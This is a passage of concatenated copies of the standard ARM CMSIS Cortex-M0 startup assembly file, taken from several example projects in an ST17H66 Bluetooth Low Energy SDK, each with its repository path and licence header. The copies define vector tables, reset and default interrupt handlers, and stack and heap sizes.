Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

3,101

ST17H66_SDK_3.0.9/example/ble_peripheral/simpleBlePeripheral/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V5.00 ; * @date 02. March 2016 ; ******************************************************************************/ ;/* ; * Copyright (c) 2009-2016 ARM Limited. All rights reserved. ; * ; * SPDX-License-Identifier: Apache-2.0 ; * ; * Licensed under the Apache License, Version 2.0 (the License); you may ; * not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an AS IS BASIS, WITHOUT ; * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; */ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP Default_Handler PROC B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/ble_peripheral/HIDKeyboard/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/ble_peripheral/bleUart_AT/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,323

ST17H66_SDK_3.0.9/example/ble_central/simpleBleCentral/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000c00 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000100 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD 0 ; 0: Watchdog Timer DCD 0 ; 1: Real Time Clock DCD 0 ; 2: Timer0 / Timer1 DCD 0 ; 3: Timer2 / Timer3 DCD 0 ; 4: MCIa DCD 0 ; 5: MCIb DCD 0 ; 6: UART0 - DUT FPGA DCD 0 ; 7: UART1 - DUT FPGA DCD 0 ; 8: UART2 - DUT FPGA DCD 0 ; 9: UART4 - not connected DCD 0 ; 10: AACI / AC97 DCD 0 ; 11: CLCD Combined Interrupt DCD 0 ; 12: Ethernet DCD 0 ; 13: USB Device DCD 0 ; 14: USB Host Controller DCD 0 ; 15: Character LCD DCD 0 ; 16: Flexray DCD 0 ; 17: CAN DCD 0 ; 18: LIN DCD 0 ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD 0 ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD 0 ; 30: UART3 - CPU FPGA DCD 0 ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/peripheral/fs/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved 